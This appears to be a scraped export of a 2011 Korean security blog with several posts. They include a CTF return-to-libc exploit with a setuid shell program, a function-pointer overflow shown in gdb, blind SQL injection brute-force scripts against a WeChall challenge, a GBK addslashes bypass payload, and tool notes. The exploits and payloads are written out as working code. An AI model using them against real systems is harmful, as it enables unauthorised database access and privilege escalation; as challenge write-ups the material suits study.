0xbfa3ea94: 0x08048813 0x08048813 0xb7e7b420 0xbfa3f900 0xbfa3eaa4: 0xbfa3fa32 0x00000000 0xbfa3fa37 0xbfa3fa42 0xbfa3eab4: 0xbfa3fa52 0xbfa3fa73 0xbfa3fa86 0xbfa3fa90 0xbfa3eac4: 0xbfa3feb9 0xbfa3fec5 0xbfa3fed9 0xbfa3ff26 0xbfa3ead4: 0xbfa3ff35 0xbfa3ff3f 0xbfa3ff50 0xbfa3ff59 0xbfa3eae4: 0xbfa3ff64 0xbfa3ff6c 0xbfa3ff79 0xbfa3ffae (gdb) x/s 0xbfa3fa32 0xbfa3fa32: \u0026#34;CCCC\u0026#34; (gdb) q The program is running. Exit anyway? (y or n) y root@ubuntu:~# 인자 구성이 다 맞아졌다. 이제 인자로 줄 shell 프로그램을 작성해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 root@ubuntu:~# cat shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, 0); }root@ubuntu:~# gcc -o shell shell.c shell.c: In function ‘main’: shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’ shell.c:6:2: warning: no newline at end of file root@ubuntu:~# shell 프로그램도 완성되었으니 이제 이전에 작성한 스크립트에 해당 코드를 넣어 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 #!/usr/bin/python import os, re p = os.popen(\u0026#39;./lotto 1 2 3 4 5 6\u0026#39;, \u0026#39;r\u0026#39;, 512) data = p.readlines() tmp = re.findall(\u0026#39;\\d+\u0026#39;, data[2]) number = \u0026#39; \u0026#39;.join(tmp) # `python -c \u0026#34;print \u0026#39;AA\u0026#39; + \u0026#39;\\x13\\x88\\x04\\x08\u0026#39;*43 + \u0026#39;\\x20\\x54\\xef\\xb7\u0026#39;\u0026#34;`\u0026#34; ./shell; done payload = \u0026#39;./lotto \u0026#39; + number + \u0026#39; \u0026#34;\u0026#39; + \u0026#39;AA\u0026#39; + \u0026#39;\\x13\\x88\\x04\\x08\u0026#39;*43 + \u0026#39;\\x20\\x54\\xef\\xb7\u0026#39; + \u0026#39;\u0026#34;\u0026#39; + \u0026#39; ./shell\u0026#39; os.system(payload) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 root@ubuntu:~# while true; do ./ex.py; done This is lotto program!! Write 6 numbers. \u0026gt;\u0026gt; Lotto number is 4 6 36 7 38 13 Input number is 4 6 36 7 38 13 Congratulation!! Segmentation fault This is lotto program!! Write 6 numbers. \u0026gt;\u0026gt; Lotto number is 4 6 36 7 38 13 Input number is 4 6 36 7 38 13 Congratulation!! Segmentation fault Input number is 20 31 12 15 9 39 Congratulation!! Segmentation fault This is lotto program!! Write 6 numbers. \u0026gt;\u0026gt; Lotto number is 20 31 12 15 9 39 Input number is 20 31 12 15 9 39 Congratulation!! Segmentation fault This is lotto program!! Write 6 numbers. \u0026gt;\u0026gt; Lotto number is 20 31 12 15 9 39 Input number is 20 31 12 15 9 39 Congratulation!! Segmentation fault This is lotto program!! Write 6 numbers. \u0026gt;\u0026gt; Lotto number is 20 31 12 15 9 39 Input number is 20 31 12 15 9 39 Congratulation!! # ","date":"2011-07-17T14:18:41Z","permalink":"/2011/07/17/padocon-2010-ctf-trililogy200-%ED%92%80%EC%9D%B4-rtl/","title":"PADOCON 2010 CTF trililogy200 풀이 - RTL"},{"content":"문제 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ; Attributes: bp-based frame public main main proc near s= byte ptr -8Ch var_C= dword ptr -0Ch var_8= dword ptr -8 lea ecx, [esp+4] and esp, 0FFFFFFF0h push dword ptr [ecx-4] push ebp mov ebp, esp push ecx sub esp, 0A4h mov [ebp+var_8], offset boo lea eax, [ebp+s] mov [esp], eax ; s call _gets lea eax, [ebp+s] mov [esp+4], eax mov dword ptr [esp], offset aS ; \u0026#34;%s\u0026#34; call _printf mov eax, [ebp+var_8] call eax mov [ebp+var_C], eax mov eax, 0 add esp, 0A4h pop ecx pop ebp lea esp, [ecx-4] retn main endp 취약점은 s 변수의 크기가 140 Byte 이므로 140 Byte 이상 인자를 주면 일단 오버플로우는 발생한다. 다만 이번 문제에서는 숨겨진 foo() 함수를 실행하는 것이 관건이다.\n디버깅을 해보면 0x080485C1 주소가 스택에 고정적으로 들어가 있다. 이부분을 변경하여 foo() 함수로 가도록 변경시켜야 하는데 foo() 함수의 주소는 0x080484F4 이다. 여기서 초기 몇 바이트는 건너뛰어도 상관없으므로 0x080485C1 주소를 마지막 C1 만 오버플로우로 덮어써버리면 우리가 원하는 함수로 이동시킬 수 있다.\n그럼 디버깅을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 [root@ByJJoon study]# gdb chal GNU gdb Fedora (6.8-24.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux-gnu\u0026#34;... (no debugging symbols found) (gdb) disassemble main Dump of assembler code for function main: 0x080485da \u0026lt;main+0\u0026gt;: lea 0x4(%esp),%ecx 0x080485de \u0026lt;main+4\u0026gt;: and $0xfffffff0,%esp 0x080485e1 \u0026lt;main+7\u0026gt;: pushl -0x4(%ecx) 0x080485e4 \u0026lt;main+10\u0026gt;: push %ebp 0x080485e5 \u0026lt;main+11\u0026gt;: mov %esp,%ebp 0x080485e7 \u0026lt;main+13\u0026gt;: push %ecx 0x080485e8 \u0026lt;main+14\u0026gt;: sub $0xa4,%esp 0x080485ee \u0026lt;main+20\u0026gt;: movl $0x80485c1,-0x8(%ebp) 0x080485f5 \u0026lt;main+27\u0026gt;: lea -0x8c(%ebp),%eax 0x080485fb \u0026lt;main+33\u0026gt;: mov %eax,(%esp) 0x080485fe \u0026lt;main+36\u0026gt;: call 0x8048398 \u0026lt;gets@plt\u0026gt; 0x08048603 \u0026lt;main+41\u0026gt;: lea -0x8c(%ebp),%eax 0x08048609 \u0026lt;main+47\u0026gt;: mov %eax,0x4(%esp) 0x0804860d \u0026lt;main+51\u0026gt;: movl $0x8048730,(%esp) 0x08048614 \u0026lt;main+58\u0026gt;: call 0x80483d8 \u0026lt;printf@plt\u0026gt; 0x08048619 \u0026lt;main+63\u0026gt;: mov -0x8(%ebp),%eax 0x0804861c \u0026lt;main+66\u0026gt;: call *%eax 0x0804861e \u0026lt;main+68\u0026gt;: mov %eax,-0xc(%ebp) 0x08048621 \u0026lt;main+71\u0026gt;: mov $0x0,%eax 0x08048626 \u0026lt;main+76\u0026gt;: add $0xa4,%esp 0x0804862c \u0026lt;main+82\u0026gt;: pop %ecx 0x0804862d \u0026lt;main+83\u0026gt;: pop %ebp 0x0804862e \u0026lt;main+84\u0026gt;: lea -0x4(%ecx),%esp 0x08048631 \u0026lt;main+87\u0026gt;: ret End of assembler dump. (gdb) b *main+66 Breakpoint 1 at 0x804861c (gdb) r Starting program: /home/byjjoon/study/chal (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x0804861c in main () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/32wx $esp 0xbfb3a150: 0x08048730 0xbfb3a16c 0x00000000 0x00000018 0xbfb3a160: 0x00000000 0x00000028 0x00000030 0x41414141 0xbfb3a170: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfb3a180: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfb3a190: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfb3a1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfb3a1b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfb3a1c0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbfb3a1d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfb3a1e0: 0x41414141 0x41414141 0x41414141 0x00414141 0xbfb3a1f0: 0x080485c1 0xbfb3a210 0xbfb3a268 0x009095d6 0xbfb3a200: 0x08048650 0x08048420 0xbfb3a268 0x009095d6 0xbfb3a210: 0x00000001 0xbfb3a294 0xbfb3a29c 0x008f0810 0xbfb3a220: 0x00000000 0x00000001 0x00000001 0x00000000 0xbfb3a230: 0x00a57ff4 0x00000000 0x08048420 0xbfb3a268 0xbfb3a240: 0xe1b2ad48 0xa7ddba36 0x00000000 0x00000000 (gdb) x/32wx 0x080485c1 0x80485c1 \u0026lt;boo\u0026gt;: 0x83e58955 0x04c708ec 0x04872924 0xfe05e808 0x80485d1 \u0026lt;boo+16\u0026gt;: 0x02b8ffff 0xc9000000 0x244c8dc3 0xf0e48304 0x80485e1 \u0026lt;main+7\u0026gt;: 0x55fc71ff 0x8151e589 0x0000a4ec 0xf845c700 0x80485f1 \u0026lt;main+23\u0026gt;: 0x080485c1 0xff74858d 0x0489ffff 0xfd95e824 0x8048601 \u0026lt;main+39\u0026gt;: 0x858dffff 0xffffff74 0x04244489 0x302404c7 0x8048611 \u0026lt;main+55\u0026gt;: 0xe8080487 0xfffffdbf 0xfff8458b 0xf44589d0 0x8048621 \u0026lt;main+71\u0026gt;: 0x000000b8 0xa4c48100 0x59000000 0xfc618d5d 0x8048631 \u0026lt;main+87\u0026gt;: 0x909090c3 0x90909090 0x90909090 0x55909090 A를 131개 넣고 확인하면 0x080485c1 주소가 있다. 해당 주소는 boo()의 주소이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/byjjoon/study/chal (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x0804861c in main () (gdb) x/32wx $esp 0xbfcb0fb0: 0x08048730 0xbfcb0fcc 0x00000000 0x00000018 0xbfcb0fc0: 0x00000000 0x00000028 0x00000030 0x41414141 0xbfcb0fd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb0fe0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb0ff0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb1000: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb1010: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb1020: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbfcb1030: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb1040: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfcb1050: 0x08048500 0xbfcb1070 0xbfcb10c8 0x009095d6 0xbfcb1060: 0x08048650 0x08048420 0xbfcb10c8 0x009095d6 0xbfcb1070: 0x00000001 0xbfcb10f4 0xbfcb10fc 0x008f0810 0xbfcb1080: 0x00000000 0x00000001 0x00000001 0x00000000 0xbfcb1090: 0x00a57ff4 0x00000000 0x08048420 0xbfcb10c8 0xbfcb10a0: 0x7a61c52e 0xcd6a1250 0x00000000 0x00000000 (gdb) x/32wx 0x08048500 0x8048500 \u0026lt;foo+12\u0026gt;: 0xf1e80804 0xc7fffffe 0x00042444 0xc7000000 0x8048510 \u0026lt;foo+28\u0026gt;: 0x00002404 0xcde80000 0xb8fffffe 0x080498e0 0x8048520 \u0026lt;foo+44\u0026gt;: 0x000100ba 0x24548900 0x2444c708 0x00000004 0x8048530 \u0026lt;foo+60\u0026gt;: 0x24048900 0xfffe6fe8 0x2444c7ff 0x00000004 0x8048540 \u0026lt;foo+76\u0026gt;: 0x2404c700 0x0804871a 0xfffe2be8 0xf84589ff 0x8048550 \u0026lt;foo+92\u0026gt;: 0xfff87d83 0x04c71875 0x04872324 0xfe96e808 0x8048560 \u0026lt;foo+108\u0026gt;: 0x04c7ffff 0x00000124 0xfe9ae800 0x44c7ffff 0x8048570 \u0026lt;foo+124\u0026gt;: 0x01000824 0x44c70000 0x98e00424 0x458b0804 (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?E天 test Program received signal SIGSEGV, Segmentation fault. 0x080485c0 in foo () (gdb) q The program is running. Exit anyway? (y or n) y [root@ByJJoon study]# cat passwd test [root@ByJJoon study]# A를 132개 넣으면 0x080485c1 주소에서 마지막 한바이트를 00으로 덮어서 0x08048500 이 되고 해당 주소는 foo+12 위치이다. foo() 함수는 \u0026quot;passwd\u0026quot; 파일을 읽는 기능을 수행한다.\n","date":"2011-07-16T18:40:52Z","permalink":"/2011/07/16/%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C%EC%9A%B0%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-%ED%95%A8%EC%88%98%EC%9D%98-%ED%9D%90%EB%A6%84-%EB%B3%80%EA%B2%BD-%EB%AC%B8%EC%A0%9C/","title":"오버플로우를 이용하여 함수의 흐름 변경 문제"},{"content":" 1 gdbserver host:port file 그리고 IDA에서 역시 해당 파일을 열고 아래와 같은 순서로 설정한다.\n[Debugger] - [Select debugger] 에서 \u0026quot;Remote GDB debugger\u0026quot; 선택 [Debugger] - [Process options] 에서 Hostname과 Port를 위에서 설정한 값으로 설정 그리고 실행! Debugging with gdbserver gdbserver is a GDB stub implemented as a separate program. It runs a program to be debugged or attaches to a process and then waits for commands. IDA's remote GDB debugger module has been tested with gdbserver available with Cygwin and Linux.\nTo debug a specific program from the start, run the following command:\n1 gdbserver localhost:23946 \u0026lt;program\u0026gt; and then choose Debugger,Attach, in IDA Pro.\nTo debug a running process:\n1 gdbserver --multi localhost:23947 then choose Debugger,Attach, in IDA and enter the PID of the process to attach to.\nAnother method of debugging a running process is:\n1 gdbserver localhost:23947 --attach \u0026lt;PID\u0026gt; then choose Debugger,Attach, in IDA Pro.\nTo start a program from inside IDA, first launch the debugger server:\n1 gdbserver --multi localhost:23947 Then use Debugger,Start process or Debugger,Run in IDA Pro.\nNOTE The --multi option is only available in GDB 6.8 or higher.\n","date":"2011-07-16T04:06:11Z","permalink":"/2011/07/16/debugging-with-gdbserver-ida/","title":"Debugging with gdbserver, IDA"},{"content":"이번 문제는 Blind SQL Injection 문제이다.\n로그인 시 ID 입력 폼에 \u0026quot;test' or 1=1 #\u0026quot; 라고 입력하면 로그인이 정상적으로 됨을 알 수 있다. 즉, SQL Injection이 가능한 것이다. 따라서 이를 이용해 INFORMATION_SCHEMA.TABLES 테이블의 TABLE_SCHEMA 및 TABLE_NAME 칼럼을 통해 데이터베이스명과 테이블명을 확인할 수 있다.\n단, 이름 확인 시 약간의 팁이 필요한데 쿼리 전송 시 올바른 응답이면 \u0026quot;Welcome\u0026quot; 이라는 문자가 나오는 점을 착안해 아래와 같은 쿼리를 통해 Ascii 문자를 하나씩 매칭하여 확인할 수 있다. 아래는 ID 폼에 입력할 각 쿼리문들이다.\n1 2 3 4 5 데이터베이스명 길이 확인하는 쿼리 1\u0026#39; or length((SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1))=대입값 # 데이터베이스명을 한문자씩 Ascii 값으로 확인하는 쿼리 1\u0026#39; or Ascii(Substr((SELECT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),대입값,1))=대입값 # 추가로 위 쿼리에서 설명한 \u0026quot;대입값\u0026quot; 부분에 대해 Brute Force를 해야 한다. 속도가 느릴 수 있으므로 범위를 최대한 좁히기 위해 아래와 같이 할 수 있다.\n우선 범위는 아스키코드 범위인 33(!) ~ 125 (}) 으로 지정할 수 있다. 그리고 아스키코드 확인 시 \u0026gt;= 기호를 사용하여 10씩 더해가며 확인하다 매치가 안되는 순간이 오면 그때부터 숫자를 하나씩 줄여가며 대입을 하면 좀 더 빠르게 서치가 가능할 것이다.\n위에서 설명한 방법으로 코드를 작성하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #!/usr/bin/env python # -*- coding: utf-8 -*- import httplib, urllib # 2011. 7. 13 / ByJJoon # http://www.wechall.net/challenge/table_names/index.php 풀이 # gizmore_tableu61_usertableus4 output = \u0026#39;\u0026#39; conn = httplib.HTTPConnection(\u0026#39;www.wechall.net\u0026#39;) # 데이터베이스명 길이 알아내는 부분 for length in range(1, 30): # 1\u0026#39; or length((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1))=1 # injection = \u0026#34;1\u0026#39; or length((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1))=\u0026#34; + str(length) + \u0026#39; #\u0026#39; params = urllib.urlencode({\u0026#39;username\u0026#39;:injection, \u0026#39;password\u0026#39;:\u0026#39;test\u0026#39;, \u0026#39;login\u0026#39;:\u0026#39;login\u0026#39;}) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/challenge/table_names/challenge.php?\u0026#39; + params) response = conn.getresponse() data = response.read() if data.find(\u0026#39;Welcome\u0026#39;) != -1: print \u0026#39;Length : \u0026#39; + str(length) break # 데이터데이스명 알아내는 부분 for pos in range(length+1): # Ascii range : !(33) - }(125) for x in range(33, 126, 10): flag = 0 # 1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),1,1))\u0026gt;=1 # injection = \u0026#34;1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1),\u0026#34; + str(pos) + \u0026#39;,1))\u0026gt;=\u0026#39; + str(x) + \u0026#39; #\u0026#39; params = urllib.urlencode({\u0026#39;username\u0026#39;:injection, \u0026#39;password\u0026#39;:\u0026#39;test\u0026#39;, \u0026#39;login\u0026#39;:\u0026#39;login\u0026#39;}) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/challenge/table_names/challenge.php?\u0026#39; + params) response = conn.getresponse() #print response.status, response.reason data = response.read() #print data if data.find(\u0026#39;Welcome\u0026#39;) == -1: for z in range(x-10, x+1): # 1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 18,1),1,1))=1 # injection = \u0026#34;1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES limit 1,1),\u0026#34; + str(pos) + \u0026#39;,1))=\u0026#39; + str(z) + \u0026#39; #\u0026#39; params = urllib.urlencode({\u0026#39;username\u0026#39;:injection, \u0026#39;password\u0026#39;:\u0026#39;test\u0026#39;, \u0026#39;login\u0026#39;:\u0026#39;login\u0026#39;}) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/challenge/table_names/challenge.php?\u0026#39; + params) response = conn.getresponse() data = response.read() if data.find(\u0026#39;Welcome\u0026#39;) != -1: print chr(z) output += chr(z) flag = 1 break if flag == 1: break conn.close() print output 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #!/usr/bin/env python # -*- coding: utf-8 -*- import httplib, urllib # 2011. 7. 13 / ByJJoon # http://www.wechall.net/challenge/table_names/index.php 풀이 # gizmore_tableu61_usertableus4 output = \u0026#39;\u0026#39; conn = httplib.HTTPConnection(\u0026#39;www.wechall.net\u0026#39;) # 테이블명 길이 알아내는 부분 for length in range(1, 30): # 1\u0026#39; or length((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=\u0026#34;gizmore_tableu61\u0026#34; limit 1,1))=1 # injection = \u0026#39;\u0026#39;\u0026#39;1\u0026#39; or length((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=\u0026#34;gizmore_tableu61\u0026#34; limit 1,1))=\u0026#39;\u0026#39;\u0026#39; + str(length) + \u0026#39; #\u0026#39; params = urllib.urlencode({\u0026#39;username\u0026#39;:injection, \u0026#39;password\u0026#39;:\u0026#39;test\u0026#39;, \u0026#39;login\u0026#39;:\u0026#39;login\u0026#39;}) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/challenge/table_names/challenge.php?\u0026#39; + params) response = conn.getresponse() data = response.read() if data.find(\u0026#39;Welcome\u0026#39;) != -1: print \u0026#39;Length : \u0026#39; + str(length) break # 테이블명 알아내는 부분 for pos in range(length+1): # Ascii range : !(33) - }(125) for x in range(33, 126, 10): flag = 0 # 1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=\u0026#34;gizmore_tableu61\u0026#34; limit 1,1),1,1))\u0026gt;=1 # injection = \u0026#39;\u0026#39;\u0026#39;1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=\u0026#34;gizmore_tableu61\u0026#34; limit 1,1),\u0026#39;\u0026#39;\u0026#39; + str(pos) + \u0026#39;,1))\u0026gt;=\u0026#39; + str(x) + \u0026#39; #\u0026#39; params = urllib.urlencode({\u0026#39;username\u0026#39;:injection, \u0026#39;password\u0026#39;:\u0026#39;test\u0026#39;, \u0026#39;login\u0026#39;:\u0026#39;login\u0026#39;}) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/challenge/table_names/challenge.php?\u0026#39; + params) response = conn.getresponse() #print response.status, response.reason data = response.read() #print data if data.find(\u0026#39;Welcome\u0026#39;) == -1: for z in range(x-10, x+1): # 1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=\u0026#34;gizmore_tableu61\u0026#34; limit 1,1),1,1))=1 # injection = \u0026#39;\u0026#39;\u0026#39;1\u0026#39; or Ascii(Substr((SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=\u0026#34;gizmore_tableu61\u0026#34; limit 1,1),\u0026#39;\u0026#39;\u0026#39; + str(pos) + \u0026#39;,1))=\u0026#39; + str(z) + \u0026#39; #\u0026#39; params = urllib.urlencode({\u0026#39;username\u0026#39;:injection, \u0026#39;password\u0026#39;:\u0026#39;test\u0026#39;, \u0026#39;login\u0026#39;:\u0026#39;login\u0026#39;}) conn.request(\u0026#39;GET\u0026#39;, \u0026#39;/challenge/table_names/challenge.php?\u0026#39; + params) response = conn.getresponse() data = response.read() if data.find(\u0026#39;Welcome\u0026#39;) != -1: print chr(z) output += chr(z) flag = 1 break if flag == 1: break conn.close() print output ","date":"2011-07-13T02:22:00Z","permalink":"/2011/07/13/table-names/","title":"Table Names"},{"content":"싱글쿼터 입력 시 addslashes() 함수로 필터할 경우 앞에 문자가 와서 SQL Injection이 예방이 된다. 이번 문제는 이러한 경우 어떻게 우회를 할 수 있는지를 묻는 문제이다.\n이번 문제의 풀이 방법은 GBK 인코딩을 이용한 addslashes() 우회기법을 이용하는 것인데 %BF 이후에 싱글쿼터를 입력하게 되면 addslashes() 함수에 의한 필터링을 우회할 수 있다.\n따라서 아래와 같이 username 변수에 \u0026quot;test%BF%27 union select 0x41646d696e%20%23\u0026quot; 를 입력하면 된다.\n[문제의 SQL문]\n1 SELECT username FROM users WHERE username=\u0026#39;$username\u0026#39; AND password=\u0026#39;$password\u0026#39; [우회한 SQL문]\n1 SELECT username FROM users WHERE username=\u0026#39;test%BF\u0026#39; union select 0x41646d696e #\u0026#39; AND password=\u0026#39;$password\u0026#39; 따라서 # 이후로는 주석처리 되어 결과로 Admin (0x41646d696e) 이 리턴된다. 이번 문제에서 기억해야 할 내용은 아래와 같다.\naddslashes() 함수로 싱글쿼터 등을 필터링 할 경우 어떻게 우회할 수 있는가? 싱글쿼터나 더블쿼터를 사용할 수 없을 때 Select 문으로 Admin을 어떻게 표현할 수 있는가? ","date":"2011-07-12T08:09:27Z","permalink":"/2011/07/12/addslashes/","title":"Addslashes"},{"content":"최근 웹사이트에서 전파되는 악성코드 중 대부분이 Adobe Flash Player 취약점 (CVE-2011-2110) 을 이용합니다.\n대부분 \u0026quot;main.swf?info=인자\u0026quot; 형태로 구성되어 있는데 이때 인자를 디코딩 해주는 페이지를 기존 암호화된 PE 파일을 복호화 해주는 페이지에 추가하였습니다.\n왼쪽 XOR DECODER 링크에서 확인하실 수 있으며 기능은 아래와 같습니다.\n1) 암호화된 PE 파일 복호화 루틴\nStage 1 - ADD\u0026amp;XOR, XOR 로 PE 파일이 암호화 된 경우\nStage 2 - XOR\u0026amp;Zlib 로 PE 파일이 암호화 된 경우\nStage 3 - PE파일이 아닌 쉘코드인 경우 다운로드 URL 탐색\n2) \u0026quot;main.swf?info=인자\u0026quot; 의 경우 인자만으로 악성코드 URL 확인\n","date":"2011-07-11T11:45:08Z","permalink":"/2011/07/11/%EC%95%94%ED%98%B8%ED%99%94-%EB%90%9C-pe-%ED%8C%8C%EC%9D%BC-%EB%94%94%EC%BD%94%EB%94%A9-%EB%B0%8F-cve-2011-2110-%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B4%80%EB%A0%A8-url-%EB%B6%84%EC%84%9D-%ED%8E%98%EC%9D%B4/","title":"암호화 된 PE 파일 디코딩 및 CVE-2011-2110 취약점 관련 URL 분석 페이지"},{"content":"Wireshark에 포함된 editcap 을 이용하는 방법\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 C:\\Program Files\\Wireshark\u0026gt;editcap.exe Editcap 1.6.0 (SVN Rev 37592 from /trunk-1.6) Edit and/or translate the format of capture files. See http://www.wireshark.org for more information. Usage: editcap [options] ... \u0026lt;infile\u0026gt; \u0026lt;outfile\u0026gt; [ \u0026lt;packet#\u0026gt;[-\u0026lt;packet#\u0026gt;] ... ] \u0026lt;infile\u0026gt; and \u0026lt;outfile\u0026gt; must both be present. A single packet or a range of packets can be selected. Packet selection: -r keep the selected packets; default is to delete them. -A \u0026lt;start time\u0026gt; only output packets whose timestamp is after (or equal to) the given time (format as YYYY-MM-DD hh:mm:ss). -B \u0026lt;stop time\u0026gt; only output packets whose timestamp is before the given time (format as YYYY-MM-DD hh:mm:ss). Duplicate packet removal: -d remove packet if duplicate (window == 5). -D \u0026lt;dup window\u0026gt; remove packet if duplicate; configurable \u0026lt;dup window\u0026gt; Valid \u0026lt;dup window\u0026gt; values are 0 to 1000000. NOTE: A \u0026lt;dup window\u0026gt; of 0 with -v (verbose option) is useful to print MD5 hashes. -w \u0026lt;dup time window\u0026gt; remove packet if duplicate packet is found EQUAL TO OR LESS THAN \u0026lt;dup time window\u0026gt; prior to current packet. A \u0026lt;dup time window\u0026gt; is specified in relative seconds (e.g. 0.000001). NOTE: The use of the \u0026#39;Duplicate packet removal\u0026#39; options with other editcap options except -v may not always work as expected. Specifically the -r, -t or -S options will very likely NOT have the desired effect if combined with the -d, -D or -w. Packet manipulation: -s \u0026lt;snaplen\u0026gt; truncate each packet to max. \u0026lt;snaplen\u0026gt; bytes of data. -C \u0026lt;choplen\u0026gt; chop each packet by \u0026lt;choplen\u0026gt; bytes. Positive values chop at the packet beginning, negative values at the packet end. -t \u0026lt;time adjustment\u0026gt; adjust the timestamp of each packet; \u0026lt;time adjustment\u0026gt; is in relative seconds (e.g. -0.5). -S \u0026lt;strict adjustment\u0026gt; adjust timestamp of packets if necessary to insure strict chronological increasing order. The \u0026lt;strict adjustment\u0026gt; is specified in relative seconds with values of 0 or 0.000001 being the most reasonable. A negative adjustment value will modify timestamps so that each packet\u0026#39;s delta time is the absolute value of the adjustment specified. A value of -0 will set all packets to the timestamp of the first packet. -E \u0026lt;error probability\u0026gt; set the probability (between 0.0 and 1.0 incl.) that a particular packet byte will be randomly changed. Output File(s): -c \u0026lt;packets per file\u0026gt; split the packet output to different files based on uniform packet counts with a maximum of \u0026lt;packets per file\u0026gt; each. -i \u0026lt;seconds per file\u0026gt; split the packet output to different files based on uniform time intervals with a maximum of \u0026lt;seconds per file\u0026gt; each. -F \u0026lt;capture type\u0026gt; set the output file type; default is libpcap. an empty 